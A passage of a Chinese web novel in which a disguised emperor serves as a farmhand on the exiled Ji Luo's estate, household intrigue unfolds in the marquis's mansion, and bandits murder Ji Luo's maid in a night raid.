“南星。”纪萝缓缓点头,“那往后你就留在我身边做事,月钱还是照常给你,只是粗活累活却是少不了的,你可愿意?” 周南星连忙点头,“我愿意的,多谢夫人。”【你现在阅读的是 】 30-40 第31章 周南星被纪萝安置在了正院的耳房中。 他的身子并无大碍,只是几日不曾吃东西,实在撑不住了方才昏倒在了庄子门前。 等用过东西后便已经无碍了。 但纪萝还是让他歇了两日,等第三日才作了安排。 而第二日的夜里,正院的耳房中却多了一道身影,那身着黑衣的男子垂首立于周南星面前,一副很是恭敬的模样。 周南星坐在那老旧的木椅上,听他禀报如今朝中局势,“眼下景王早已蠢蠢欲动,咱们安排的人给他透露的消息他已经信了七成,这些时日正想法设法地想探知您是当真病入膏肓呢,还是狩猎那日之后,就再没了下落呢!” 周南星,或者说是谢元墨面上勾起一抹笑意,“朕这个皇叔原本就是多疑的性子,若是直接告知他结果,他反而不会愿意相信,唯有让他绞尽脑汁,一步步查到那个结果,他才会愿意相信。” 他转眸看向眼前人,“继续盯着吧,既然每一步都安排好了,那定是不能错过这一场好戏才是。” 那人自是应下,只是在行礼告退前却又忍不住再多看了一眼这周遭的环境,狭小的耳房中唯有一张简陋至极的床榻,一张方形的木头桌子以及配套的木椅,都是颇为陈旧的物件,而除此之外便再无旁物,实在是寒酸得不行。 见他一副欲言又止的模样,谢元墨皱眉,“有话直说便是,我明日还要一早起来赶集,没时间与你在这耽误。” 赶集是纪萝的安排,这两日她已经将院子门前的那一片空地安排得很是明白,哪一块种植青菜,哪一块养鸡养鸭都已经有了主意。 而她也提早问过陈管家了,明日正是镇上五日一次赶集的日子,无论是街市上售卖的东西,还是来往的行人都会比平日里多上许多,纪萝便也想正好赶在这时候去买些种子以及小鸡小鸭之类。 因着庄子距离镇上还有一段距离,所以纪萝便提早与谢元墨说了,明日须得早些,不能耽误了时辰。 他一直记着这事,这会儿顺理成章地便说了出来。 下属听得这话,面上的表情僵了僵,心下也知天子大约是甘之如饴的,于是还是将准备说出口的那半句话咽了下去,勉强笑道:“属下先告退了。” 说罢,人已经消失于夜色中。 谢元墨没因他有些神经质的举动而与他计较,只自己动手将床褥铺好,吹灭了煤油灯后盖着被褥躺下。 其实也不怪下属觉得有些难以接受,他毕竟是尊贵的天子,即便是去到再如何偏僻的所在,都有当地的官员安排住所,甚至安排人不眠不休地就地建造宫殿都不算是什么稀罕事。 可眼下谢元墨却窝在这么一个小小的耳房中,莫说是宫中的宫殿,便是里边宫人的茅厕,大约都要比这处大上许多。 但偏偏他一副心甘情愿的模样,那下属自然也不好再多说了。 *** 王玉盈的首饰尽数当了出去后,倒是勉强凑够了五百两银子,只是这一下手头便拮据地不行,连首饰,也都只能来回佩戴那几只留下来撑场面的簪子。 偏偏这天一早,王氏院中的人却罕见地来了观荷院,说是王氏有事请她过去一趟。 她其实已经连着几日不曾见着王氏了。 王氏这些时日的心思都尽数放在了侯府的那些账册上。 虽说纪萝离开前都将那些账册理清,可王氏已经数年不曾管过这些事务,即便只是熟悉都需得用上不少时间。 所以这几日王玉盈再来华庆院请安,她都不曾见。 王玉盈原本也担心她脖颈处被那匪徒勒出的痕迹被人觉察,王氏不愿见她倒还省去了许多风险,反而是件好事,可不想王氏今日却特意安排了人过来请她过去。 好在眼下不过才入夏,天气还不算太热,她换了件能掩住脖颈处伤痕的衣裳,又特意施了粉遮掩了一番,如此即便两人隔得近些应当也瞧不出什么端倪来。 做完这些,王玉盈才安了心跟着王氏院中的人到了华庆院。 屋内,王氏显然心情不虞,得知王玉盈到了之后面色更是往下沉了沉。 不过还是令人将她带了进来。 王玉盈虽不知王氏此番唤她过来是所谓何事,可见王氏脸色不好,也大约能猜到应当不会是什么好事,于是心也不由得悬了起来,规规矩矩地想王氏见了礼。 王氏并未让她起身,而是直接开了口,“听闻你前两日用府中的银子给自己添置了不少首饰衣裳?” 王氏一提,王玉盈便想起来了,撞见匪徒那日她原本确实是去添置首饰衣裳的,甚至还买了不少,只是后边遇上了那匪徒,就连身上的碎银子连同佩戴的首饰都未能留下,更别提说新添置的那些了。 自是尽数被那匪徒搜刮了去。 但匪徒之事她是万万不能与王氏说起的,于是此时也只能咬牙认下这事,“阿盈想着既然已经入侯府为妾了,总归是侯府的人 ,也不想丢了侯爷的人,所以才添置了些首饰与衣裳。” 这也是说得过去的。 只是王氏却冷哼一声道:“你也知道自己不过是个妾室,又不是侯府的正头夫人,侯府的体面还需你来费心?” 几句话说得王玉盈面上一片青白,偏偏她也不敢反驳,只能低头应着说是。 “你这一番用了侯府不少银子。”王氏冷眼看她,“侯府家大业大,更是不能肆意挥霍,我已经吩咐了库房,你一个妾室自有妾室的份例,多的,是半分都不会有。” 王玉盈忍着心底的憋屈,又是乖顺应着。 如此不留情面地训斥一番,王氏才令王玉盈退下。 王玉盈在王氏这儿又是受了一顿气,心下自是憋屈得不行,好在这种事也不是头一回了,她竟也能生生忍下且不露端倪了。 出了华庆院后王玉盈沿着廊道走了一段,不想迎面正好碰上赵倩桐。 王玉盈想着如今纪萝不在,便也有心与她打好关系,毕竟赵倩桐是堂堂正正的侯府小姐,不论是王氏还是赵承嘉对她都颇为宠爱,倘若能挽回与她的关系,王玉盈往后的日子应当也会好过不少。 如此想着,王玉盈面上挤出笑意来,主动上前道:“倩桐妹妹,怎么今日过来母亲这儿了。” 与纪萝,王玉盈不同,赵倩桐向来是不讲究那些规矩的,王氏也不曾约束了她,向来是她想来便来,不来便不来了。 所以王玉盈在此处见着她确实是少见的。 按理来说伸手不打笑脸人,王玉盈即然这般上赶着讨好她,赵倩桐即便再不喜她,却也不至于连一些表面功夫都不做了。 可偏偏赵倩桐就是这样的性子。 她只瞥了王玉盈一眼,而后便绕过她走了。 王玉盈原本便在王氏那里受了不少气,这会儿好容易压下心底的火气上前来与赵倩桐说话,可赵倩桐竟只当作没看见她一般走了。 这让王玉盈是无论如何都忍不下去了,她用力指甲几乎掐入皮肉中,气极反笑道:“倩桐妹妹,再如何我如今也是你兄长的妾室,也算是你的长辈,见了我不说你需得多么恭敬,可万万没有长辈与你说话,你只当没有听见的道理罢?” 赵倩桐终于停下脚步,有些好笑地转过头来,“原来是你在说话啊?我以为是哪儿的狗在叫呢!” “你……”王玉盈气得满脸通红,却半个字都说不出来。 赵倩桐见她这副气急的模样,心底越发觉得顺畅,“莫说是你一个侯府的妾室,便是母亲与兄长,也不曾有这般理直气壮地喊着要教我规矩的时候,你若是觉得我对你不够恭敬,大可到母亲面前去告状,看母亲如何说便是。” 若是从前,王玉盈或许还真会在王氏面前说些什么,毕竟那时候的王氏对她是当真有几分疼爱的,可如今,王氏比之赵倩桐可能还要厌恶她几分,若她真去说些什么,王氏只会觉得她果真是个不安分的,才入了侯府又生出这些事端来。 所以王玉盈即便心下再如何憋屈,这会儿也不能再与赵倩桐发作,只能咬牙撇下一句“我不与你计较”才恨恨走了。 王玉盈这一番受了不少气,但如今她在这侯府并无其他倚仗,能指望上的,除却赵承嘉便也就再无旁人了。 可偏偏赵承嘉这些时日更是忙得不可开交,即便回了侯府,也总是匆匆离开,她连上前说两句话的机会都没有,就更不说旁的了。 这种什么都抓不住的感觉,实在令她不好受。 好在当日夜里,赵承嘉竟是来了观荷院。 王玉盈提前知了消息,心底的郁气顿时一扫而光,不仅提前沐浴更衣,更是重新描妆,连里衣都费心熏了香。 赵承嘉难得来一回,王玉盈不想出任何岔子。 当夜,原本一切都很事顺遂,就连她刻意安排凝露提及赵倩桐白日对她颇为不敬之事,赵承嘉也答应说会说一说这个妹妹。 而用过晚膳后,两人也顺理成章到了床榻上,连屋里点的香都散发出暧昧的气味,一切尽是水到渠成。 可偏偏在最后一步时,王玉盈察觉出自己身下一阵异样的湿黏之意淌了下来,她心底一阵慌乱,下意识看向赵承嘉,而赵承嘉借着窗外照进来的月色,也正好看见手心处的一片鲜红。 第32章 王玉盈的孩子并非只怀了一个月,而是接近四个月。 那个孩子在她腹中已经几乎有了形状,为了不让人瞧出异样来,她甚至每日都需要用布条勒紧了腰身,如此才能勉强不至于让人发觉。 而那孩子在她腹中留存了足足四月,等到最后,她被李氏逼着喝下那晚落胎药时,对她身子造成的伤害也自是不必多说。 前头在王家时,她身体甚至还总有恶露排出,后边细心调养,用了不少贵重药物,再到了侯爷也未有再发作的时候,王玉盈便以为身子已大约好全了。 可不曾想偏偏在赵承嘉过来的时候,偏偏在赵承嘉有心要与她亲近的时候。 她毁了这一切。 赵承嘉离开的时候脸色实在不算好,虽然他并未说什么难听的话,也并未表露出对她的嫌弃来,甚至只让她先好生调养身子。 可赵承嘉确确实实地走了,她错过了这千载难逢的好机会。 *** 赵承嘉近日的心情很是不好。 他并非是擅长站队的性子,偏偏眼下朝中局势很是不太平。 稍有不慎便容易出了岔子。 所以他只得谨小慎微地熬着。 今日难得空闲回了侯府,也是想起前几日才将王玉盈纳作妾室,那仪式虽说简陋,但无论如何,那一日之后,王玉盈便算是他的人了。 而因着最近实在太忙,他竟是没有空出时间来稍稍陪一陪她。 如此想着,心下不免有些愧疚。 加之他最近实在疲累,而王玉盈的性子又是最为柔顺乖巧,若能去她那儿,也能稍稍放松一下。 可不想再见了王玉盈之后,他却总觉得眼前人与从前很是不同。 从前她事事为自己考虑,哪怕早怀了他的孩子,也因着不想令他为难而掩下了此事,可如今,即便只是与倩桐有些小矛盾,都要借着身边婢子之口说出来。 分明他最近已是这般疲累,哪里还有心思去管这些鸡毛蒜皮的小事? 但他也不曾发作,想着或许是倩桐做事太过,她实在受不住方才这般。 只是后来在床榻上,那一片带着腥味的鲜红扰得他再没了兴致。 他快步出了观荷院,原本是要像往日一般回书房歇下的,可不想路经假山处时却恰好被缝隙处抽出的灌木枝条挂住了衣袖,他心下正觉烦闷,用力一扯,竟生生刮破了衣袖。 他皱眉看去,月色下,袖口处袖的竹叶纹已经不成样子。 他似乎愣了片刻,而后才想起来这身衣裳,似乎是纪萝亲手做的。 纪萝绣工其实并不算好,她年幼失母,身边没人教她这些,后来又被送去青州住了几年,也并无人用心教导,只是不曾短了吃喝罢了。 最早拿起针线时,她似乎连针脚都是歪的,那个绣得根本瞧不出是什么花样的香囊,赵承嘉曾在青萝院见过,还多问了一句,不过纪萝大约觉得丢脸,很快便收了起来,那时候他去青萝院也去得少,所以也确实再不曾见过那样的东西的。 那是他们成婚的第一年,彼此间说是夫妻,其实最多不多是比陌生人稍稍熟悉些而已。 但难得的是,两人相处间很是舒服,或者说,纪萝很让他舒服。 之后不知是第二年还是第三年, 纪萝针线上的功夫似乎好了许多,不知不觉间,他素日穿着的衣裳中有不少都出自于纪萝之手,只是别的纹样不多,唯独竹叶是最常见的。 有一回他随口问了她缘故,她脸色微红,犹豫了一会才说她只学了这一样。 旁的花纹样式多是层层叠叠,模样繁复,况且也多是赵承嘉用不上的,她原本不会这些,学这些本就不易,不如索性只学一样,只精一样。 时至此刻,赵承嘉已经记不得彼时的他到底是如何回答的,只记得那日午后,稀疏的阳光从叶缝中洒下来,恰好落在她的发间…… 他突然有点想见纪萝。 这个想法出现的一瞬,竟是少见地多了几分迫切。 他在假山旁的小道上停了片刻,而后转身往青萝院的方向去了。 青萝院的一切其实还是旧时光景。 即便是守孝之期到了后,他来青萝院的次数依旧不算多,甚至每回过来都是怀着要纪萝为他生下一个孩子的心思而来的。 并非真心愿意过来。 不过等他真正亲近了纪萝,食髓知味,他其实也知自己是有几分沉沦其中。 只是后来…… 赵承嘉拨弄着梳妆台上的簪钗首饰,这些华贵的物件,她都留在了此处。 那日前来回话的下人也说了,她只带走了几件寻常衣裳,旁的,什么都没有拿。 似乎打定主意要同永宁侯府划清界限。 赵承嘉垂下眸子,心底生出地那阵异样之感宛如带着尖刺的藤蔓,几近疯狂地攀爬,蔓延,让他连呼吸都顿住了片刻。 月色从窗缝中洒下来,微弱的光亮让赵承嘉从那面铜镜中看清自己的模样。 他想,他对纪萝,应当还是有几分在乎的。 *** 庄子旁的镇子名唤槐花镇。 这里虽说偏僻,可其实人却不算少。 纪萝几人到镇上时街道上已是人来人往,两侧摆满了各式摊子,几乎每隔几步就有一个新的摊子,吆喝叫卖声不绝于耳。 纪萝下了马车瞧见这般景象,一时有些目不暇接,好在提前理清了要购买的物件,这才知道该从何逛起。 大约一个时辰后,谢元墨身上已经是挂满了东西。 一些菜苗种子倒也罢了,偏偏左右手各自提了一笼叽叽喳喳的鸡鸭,瞧着模样实在是有些滑稽。 眼见需得购买的物件已经是差不多齐了,纪萝才放心地逛起街来。 这镇上的集市虽不如上京繁华,可却也有许多在上京不曾见过的东西。 纪萝被那些稀罕的东西吸引了视线,一时间话也变得多了起来。 几人在街道旁一个小摊上买了点心,尝了一口之后纪萝忽地想起自己幼时常去的那家点心铺子,“旁的倒是不记得了,只记得那家的栗子糕最是香甜软糯,只是旁人倒是更喜欢桂花糕些,每日一早铺子还没开门呢,铺子门口便排满了人,等一开门,做好的桂花糕早已是一抢而光。” 芸枝自小跟在纪萝身边,自是知道这铺子的,她笑着道:“是,姑娘当初最是喜欢那家铺子的栗子糕,只是这栗子糕喜欢的人少,铺子老板做得也不多,有好几回姑娘赶着去,却都不曾吃上,还掉了眼泪呢,任凭怎么哄都哄不好。” “那时年纪小,心里记挂着的也没别的东西了。”纪萝听着也不由笑了。 说到这,纪萝忽地想起一旁谢元墨也正是上京人,于是顺口问道:“南星可去过那家点心铺子,从前是开在东街第六间的,如今却不知还在不在了。” 谢元墨一愣,他年幼时被养在宫中,出宫的机会寥寥无几,而也都是有要事在身,自是不曾听过什么点心铺子。 可他轻咳一声,认真点了头道:“自是听说过的。” 话音微顿,他又添了一句,“那家的栗子糕,也是我最喜欢的。” 纪萝颇有找到同道中人之感,忙道:“我就知定是会有人与我口味相同,不想竟是到此处才遇上。” 不过说到此处,她又有些惋惜道:“只是大约往后都不会再有吃上的机会了。” 她如今远离上京,若是不出意外的话,大约许多年都不会再回去了。 自然,她也不想再回去。 谢元墨将她这句话听了进去,心下思忖着什么,而纪萝早被旁的新鲜事物吸引了目光,与芸枝同那摊子老板讨价还价起来。 *** 赵承嘉想见纪萝。 这样的念头在三日前的夜里萌生,到今日,已经是根深蒂固,任凭他再如何也无法断绝了这念头。 他初将人送去庄子时,只以为纪萝从前也是官家小姐,后来到了侯府做了侯夫人,过的更是金尊玉贵的日子,眼下又是才落了胎不久,正是身子最虚弱的时候,想来到了那庄子,能熬过三两日便是难得,说不定只到了那处左右一看,便生了要回来的心思。 到时候也知道向自己低头不过是一件小事罢了。 所以赵承嘉也未曾刻意安排什么,甚至都不曾令人盯着庄子的情况。 只是眼下已经过去七八日有余,纪萝却始终不曾传来消息,竟好似当真安然在那庄子里住下一般。 可那样的地方,她如何能住得下去。 不说旁的,只说他连银子都不曾多拨给那庄子一分,纪萝在那处的吃穿用度,哪里是不需银子的,特别是小产后养身子的汤药都是金贵的药材,纪萝又如何能耗得起? 他想了一夜也不曾想明白,却越发想见一见纪萝。 也许现在纪萝不过是在苦苦熬着,而若他再去那庄子,纪萝强撑起的一切也会尽数土崩瓦解。 或许,便也就会向他低头了。 赵承嘉吩咐人备好了车马。 眼下朝中局势正是不好,他借着这机会出外面去避一避,也未尝不是好事。 第33章 从槐花镇回来后,谢元墨便给底下传来消息,令他今日夜里前来庄子。 而当日夜里,庄子的耳房中,下属匆匆赶来。 因着如今事事皆在意料之中,谢元墨鲜少有这样急召他的时候,他自然以为是出了什么变故,所以心下紧张无比。 眼下他们所行之事步步紧要,只是一步偏差,便能让他们步入万丈深渊中,所以必须谨慎稳妥。 可当他见了谢元墨,却听谢元墨神色认真道:“上京东街第六家,应当是点心铺子,你安排人去那处买一份栗子糕。” 下属下意识抬眸,眼底闪过一丝茫然,“栗子糕?” 谢元墨点头,“栗子糕。” “是。”下属只能应下,可迟疑片刻后又道:“陛下可还有旁的安排?” “无事,依旧按着原本计划盯着朝中局势便是。”谢元墨神色未变。 下属只得再度拱手应着,而后很快退下。 翌日。 正院门前的一片空地已经被纪萝尽数做了安排。 昨日里带回来的小鸡小鸭都被用竹子编成的围栏圈住,养起来倒是不难,只消将每日餐食余下的部分用木盆装好放在围栏里,再喂些水便成了。 而买来的种子却要多费些事,需得先将地翻好施肥,而后才能播种。 若是没有谢元墨在,这些体力活光凭着纪萝几人确实费劲了些,但多了他一个便省了许多事。 才开始干活时,他其实是什么都不会的。 不说旁的,即便是锄头他都不知该如何用,只是他是个愿意学的,学得也快,吉香大致教了他之后他便能运用自如了。 他力气大,干起活来更似有用不完的力气一般,不消多时就将一片地翻好。 如此几人忙活了一天,才终于算是将种子尽数种下。 而当日夜里正好落了一场雨,到第二日,地里竟就有种子发了芽。 外间小雨渐停,纪萝几人一同在那菜园子外边盯着看了好一会,除却吉香之外,其余几人都是 第一回见到这般景象,想到这是他们亲手种下,心底的成就感更是难以言喻。 菜园子的菜苗窜得极快,后续的活计也都尽数交给谢元墨来完成。 他前头干活生疏,后边却利索许多,浇水施肥都不在话下。 下属送来上京的点心时,便见谢元墨正在菜 园子里浇水,他拎着满满的一桶水行走间却宛如无物,等到了园子里便拿了木勺一边浇水一边往前走。 下属见得这般景象,明明头顶上阳光明媚,可他额头却已经是不自觉冒出涔涔冷汗来。 引他进来的陈管家并未发觉他神色不对,只笑着道:“你表兄在此做事倒很是用心,虽说原本会的东西不多,可却也学的快,眼下更是什么事都做得利索!” 原本陈管家这话的意思是夸赞谢元墨,可这话落入到下属耳中却让他不禁抹了抹额头的冷汗。 所谓“表弟”的身份是他自己捏造的,自然也是谢元墨的意思。 要将东西送来总归要个合适的身份,装成上京来的亲戚是再合适不过。 下属没敢再听陈管家如何说,他勉强应了一声便快步来到谢元墨身旁,“这些事还是属下来做吧。” 他实在有些不敢想他的主子贵为天子,为了掩盖身份,跑到这样一处庄子住下倒也罢了,可如今竟是生生干起农活来,瞧这干农活的利索劲,恐怕已是做了不少。 谢元墨见他过来,将地里最后一片菜浇完,而后随意地用桶里的水洗了洗手,“让你带的点心呢?” 下属这才反应过来,连忙将带来的那个包袱递了过去。 谢元墨接过这包袱,一边往菜园子外头走去,一边与下属道:“东西既已送到,你回去便是。” 下属目光移向那一大片菜园子,迟疑着咽了咽口水,只得应了个“是”。 谢元墨已经是走到陈管家面前与陈管家客气地寒暄起来,顺带为下属此时过来做了解释。 陈管家正觉得奇怪,听谢元墨解释一番之后也笑着点头,“看来你这表弟人倒是不错,得知你在此处还从上京过来给你送了东西。” 谢元墨点头,又道:“表弟赶着回上京,便不留他了。” 陈管家自是不再多说。 等将人送走,谢元墨便小心将那份点心用盘子放好送去了正院。 芸枝在门口遇见他,还没看清他手中端着的一碟子点心,却先闻到了那阵香气,忙快步上前来一看,果真是纪萝前几日提过的栗子糕,顿时颇为惊喜,“就是这个香味,也就唯有上京那家铺子能做出这样的点心,你这碟子栗子糕是从哪里买来的?” 谢元墨依着原本准备好的缘由,解释道:“我在上京的表弟过来看我,他知我喜欢这家的栗子糕,所以给我带了一些。” 芸枝没有多想,只觉得纪萝喜欢,这会儿若能吃上定然开心,于是道:“那赶紧送进里间去吧。” 谢元墨应着,将那碟子点心送了进去。 纪萝正倚在窗边翻看话本子解闷,话本子里郎情妾意的剧情发展得正好,她一页页翻看过去,不禁有些入神,听得有人推门进来才回过神来。 她抬眸看去,进来的人正是谢元墨,“夫人来尝尝这栗子糕。” 盘子里几块做成鲜花模样的点心,稍稍靠近些香甜的气味就已经弥散开来,纪萝轻轻咽了口口水,拿起一块咬了一小口,眼里顿时多了几分惊喜,“这是上京那家铺子的栗子糕?” 虽是许久不曾吃了,可到底是年幼时最喜欢的,只尝了一口便能认出来。 芸枝正在这时走了进来,笑着道:“正是上京那家铺子的,南星的表弟今日从上京过来正好给他带了这点心,姑娘当真是想什么便有什么的。” 谢元墨也是一笑,“是,姑娘事事顺意,往后日子定能越过越好。” 谢元墨原本是与庄子里其他下人一般唤纪萝“夫人”的,可不知从什么时候起,他也与芸枝一般唤她“姑娘”了,他叫得顺口,芸枝与纪萝也并未觉出什么不对来。 这会儿听了他这一番吉利话,纪萝也不由笑了,“陈管家说这附近山林中有一片栗子树,等到了时节咱们可以捡了栗子试试自己做栗子糕,想来也别有一番趣味。” 芸枝忙应下,“听起来确实不错,至于做法,问问庄子里的厨娘就成了。” 谢元墨的目光在纪萝身上定了一瞬,而后才弯唇应了下来。 *** 在庄子里的日子过得极快,一晃眼便已经过去近半月。 这半月间,纪萝眼看着菜园子里的白菜已经长起来了一茬,用不了多久便能吃上,连鸡鸭都都长了不少。 有时候纪萝出了院子瞧见这一片欣欣向荣的景象,反而觉得有些恍惚,似乎她原本就应当留在此处,而在上京的那些年,发生的那些事,竟是更像只是幻梦一场。 或许正是眼下这般平静的生活更让她舒适,她才想短暂地将上京的一切只当作一场梦,其中纠葛,也只随着梦醒便已经是烟消云散。 只是这样平静的日子到底还是短暂的。 当日夜里,这里下了一场大雨,雨声铺天盖地,将一切阴暗的声音尽数掩去,连鲜红的血,也能尽数被冲洗干净。 因着天色在午后就暗沉下来,所以芸枝吉香与谢元墨提早将院子里的鸡鸭都关进了笼子里。 只是等这一场大雨降临的时候,它们依旧在笼中惊叫着,闪电在天穹划出的光亮一次又一次地让一切变得清晰,匪徒手中的大刀映出刺目的寒光,而后一切再尽数掩入夜色中。 闯入庄子的匪徒共有三人,他们其实早两日便已经到了这附近,只是一直不曾寻着动手的时机。 趁着今日大雨,他们三人以躲雨的名义进了庄子,而后在陈管家开了门之后很快动了手。 他们原本便是杀人如麻的匪徒,再加之夜色与大雨作掩护,更是能悄无声息地将人了结。 陈管家那半句话还不曾说完,便被一刀抹了脖子,眼睛微张着倒在了湿漉漉的地上。 三人没有多看他一眼,继续往正院的方向逼近。 正院的烛火已经灭了,他们到了房门前也没有多余的动作,只用手中的大刀猛然向大门砍去。 任凭外间风雨再如何大,这样动静依旧将屋内的纪萝与芸枝惊醒。 二人还不曾回过神,本就不算多坚固的房门已经被外间的匪徒一脚踢开。 闪电的光亮从窗缝中砸了进来,让纪萝与芸枝恰好能看清为首那人脸上纵横交错的丑陋疤痕,一明一暗下,那样的面容仿若地狱里的阎罗,手中的刀刃还淌下鲜红的血,一步步朝她们逼近。 “你们……是何人?”即使竭力令自己冷静下来,纪萝依旧能清晰听到自己声音里的颤抖。 来人声音低沉而沙哑,“有人让我们来取你性命。” “是谁?”纪萝心底一惊,她已经舍弃上京的一切来到这偏僻的小庄子住下了,是谁还不肯放过她? 竟是安排了这样穷凶极恶之徒,硬是要取了她的性命才肯甘心? 浓重的夜色中,那道古怪的声音再度响起,似乎笑了一声,在笑纪萝的天真,“拿人钱财替人消灾,只怪你得罪了不该得罪的人罢!” 话音落下,手中的大刀已经扬起。 第34章 被砍开的大门处灌入刺骨的冷风,纪萝的身子一颤,几乎已经感受到那刀刃劈开身上血肉的痛感。 可正在这时,一直被她护在身后的芸枝却猛然从她身后冲了出来,生生往那人身上撞去。 “芸枝!”纪萝慌忙伸手想将她拉住,可依旧慢了一步,她的衣裙从纪萝指尖抚过,很快消散不见。 纪萝脸色惨白地抬眸,闪电的声音响过后,刺目的光亮恰好落在芸枝与那人身上,刀刃从她身上划过,鲜红的血洒在裙摆上,她的身体仿佛一瞬被抽去了生气,像一片落叶般轻飘飘地落下。 匪徒有些嫌恶 地从她身上跨过,再度抬眸看向纪萝。 他并未再发一言,举刀便要动手。 但此时,他身后却突然传来动静,有人不知何时出现在他们身后先对他带来的一人动了手。 那人暗骂一声,举刀就要砍过去,但来人一个闪避,让那人生生往前踉跄了几步,也正是这般举动吸引了领头那匪徒的注意,他先放过了纪萝,转而将注意力放在这看起来来便有些难缠的人身上。 三人顿时缠斗起来。 而纪萝顾不上眼前局势如何,她几乎是爬到芸枝身前,将人揽入了自己怀中。 这些人是穷凶极恶的匪徒,杀人于他们而言不过是寻常之事,所以方才芸枝撞上去之时,那人动手也全然不曾留有情面,一刀便正落在芸枝的要害之处。 于他们而言,若是留了活口,往后反而麻烦,不如索性一刀了结,才算干净。 此时芸枝的身体还留有一点温度,只是她早已没了气息,一动不动地躺在纪萝怀中。 纪萝几乎僵硬地将怀中人抱紧,脑中唯有一片空白,几乎丧失了任何能力。 许是觉察出来人实在不好对付,那三个匪徒身上各自都受了伤,领头那人也知再继续纠缠无益,只得带着两人撤了出去。 屋内的烛火被重新点亮,纪萝才看清,原来来人是谢元墨。 也是,这庄子地处偏僻,遇上这样的事,除了他,恐怕也无人能帮衬了吧。 只是不曾想到他还是有几分本事的,竟能和那些匪徒打得有来有回,甚至占了上风。 但此时,纪萝也没法再去细思什么,她只抱着怀中人,目光宛若失了神,而眼泪也毫无知觉地落下。 谢元墨从未见过这样的她,他缓缓在她身侧蹲下,张了张嘴,却不知到底该如何安慰。 他虽不知纪萝与芸枝间有怎样的过去,可见她们平日相处,也知她们并非寻常主仆,而如今芸枝更是为护住而丢了性命,纪萝心底,定是很不好受的。 但他还未曾开口说些什么劝慰的话,纪萝却好似想到什么,她猛然抬眸看向眼前人,“南星,你要帮我。” 能凭着一己之力将三个杀人如麻的匪徒赶走,足以见得他并非寻常之人,纪萝没有逼问他说出什么,只是想让他,帮帮她。 谢元墨立在那处,鲜血顺着手臂淌下,而后一滴滴滴落在掌心,他用力握紧,而后道:“好。” 摇摇欲坠的烛火下,两人间,许多事仿佛都心知肚明,但什么都不曾说破。 *** 庄子里出了这样的事,自是报到了官府。 可即便出了人命,但官府却也查不出什么来,不过说是流匪作案。 可当真要将人抓住却是极为不易。 那几人原本便是官府通缉之人,算来通缉的时间也不短了,可他们四处躲藏,到如今还不曾寻着人。 眼下就算断定此事依旧是他们几人所为,但想要将人抓来依旧不知何日方能成事。 而纪萝心里也明白,她与这些匪徒从未有过交集,那些匪徒目标明确,只冲着她一人而来,显然是受人指使。 那日,那匪徒也曾明言,是有人想要了她这条性命。 虽不知那人到底是谁,但纪萝的注意力早不在这几个匪徒身上了。 将这几个匪徒抓住固然重要,可那背后指使之人方才是真正元凶。 将芸枝的后事处理妥当之后,纪萝便一心回忆着自己在上京到底与何人有这般仇怨。 还未出阁时,她只与继母魏氏有些纠葛,但随着魏氏那个孩子殒了命,魏氏便也没再生出与她为难的心思,后来她成婚,魏氏也颇为上心,两人关系更是缓和不少。 而成婚后,她曾与王氏,赵倩桐等人有过不合,但赵倩桐与她早已是冰释前嫌,而王氏即便对她有些不满,可再如何也绝不至于在她已经被赶至庄子之时,还安排匪徒对她赶尽杀绝,这实在匪夷所思。 至于赵承嘉,纪萝与他从前还算相敬如宾,但后边两相生怨,可纪萝觉得,此事应当也不是他的安排。 倒不是事到如今,纪萝依旧相信他的品行,只是他实在没有这般大张旗鼓行事的必要,若要彻底与纪萝断了关系,纪萝也并非有心纠缠之人,她一早便提了和离之事,若他有这般心思,应下和离便是。 即便他不允和离,只想杀了纪萝,也更有千万种法子,不必闹出这般动静来还要与这些匪徒为伍,反而得不偿失了。 除却这些人之外,纪萝还能想到的便唯有一人,这人便是王玉盈了。 王玉盈对纪萝的恶意似乎从不曾掩藏,她想要侯府夫人的位置,自然是将纪萝当作敌人,唯有除之而后快了。 只是…… 王玉盈再如何也不过只是个姑娘家,后宅中的阴私手段倒也罢了,她又去哪里结识了这些穷凶极恶的匪徒,又如何驱使这些匪徒为她所用呢? 这便是纪萝想不明白的了。 如此过了两日,她心下却依旧并无一个答案。 这日夜里,窗外依旧细雨绵绵,周遭笼罩在一片阴郁下,让人心底越发闷地厉害。 谢元墨守在门外。 从那日芸枝出事后,他每日夜里都会守在纪萝的房门外。 那些匪徒虽已经逃离,可却难保不会再有回来的时候。 毕竟他们的目标是纪萝,而纪萝如今还活着。 天色越发暗沉下来,纪萝在窗边立了一会,努力再理了理越发乱作一团的思绪,窗外一阵冷风灌进来,她上前几步要将窗闭上,可衣袖拂过案几时却恰好将茶盏拂落在地。 茶盏瞬间摔了个粉碎,发出的声响清脆而又刺耳。 听见里边传来的声响,谢元墨几乎顾不得细思便已经推门走了进来。 纪萝正要蹲下收拾茶盏碎片,她见谢元墨进来,轻轻摇头道:“我无事,只是不小心打碎了茶盏罢了。” 谢元墨眼看她将地上碎片拾起,忙快步上前,“我来吧。” 他动作很是利索地将那些碎片收好,连同纪萝手中那块尖利的瓷片也收拾妥当。 纪萝看着他很快将凌乱的地面收拾好,不由有些愣了神,直至他起身要出去才回过神来叫住他,“南星,我有些睡不着,你陪我聊聊天吧。” 谢元墨的脚步顿住,轻声应道:“好。” 两人一同坐在案几旁的台阶上,窗外的雨声渐小,竟隐约有一轮弯月缓缓挂上了枝头。 纪萝眼也不眨地看着那轮弯月朦胧的轮廓,想开口与身边人说些什么,可话到嘴边却忽然顿住,反而有些迟疑道:“你原本的名字,就是唤作南星的么?” 从他最早出现在庄子门前开始,纪萝心底便是存有疑虑的。 只是那时候见他可怜,而她身边也确实需要这样一个能干活的人,于是才将他留下。 而后来见他做事勤快,即便是不会的东西,也愿意学,再加之也未曾感觉到他带有任何恶意,仿佛真的只是想寻一处安身立命的所在,所以便也不在纠结。 只是那日夜里,他展现出来的本事却好似将一切尽数戳破,让纪萝也无法再装作什么也不知的模样。 不过她也越发确定,谢元墨对她,绝无恶意。 否则他大可以见死不救,任由纪萝死在那些匪徒的手中。 谢元墨没想到纪萝一开口,却问了这个问题,他迟疑了片刻,最终摇了摇头,“不是。” 纪萝见他许久不曾回应,也意识到自己这个问题或许有些冒犯,正想让他不必回答,可不想他竟给了答案。 这也是他头一回在她面前承认,他确实是有另外一个身份,出现在此处,也是别有目的。 至于那个目的到底是什么,纪萝或许好奇,可她明白若再问下去,便是她逾矩了,于是移开目光,轻声道:“那我也还叫你南星吧。” 她顿了片刻,又问道:“你什么时候离开啊?” “或许过几天我需要去处理一些事。”谢元墨语气很是认真,” 但我会再回来的,到时候我会帮你,帮你将一切调查清楚,让背后之人付出代价……” 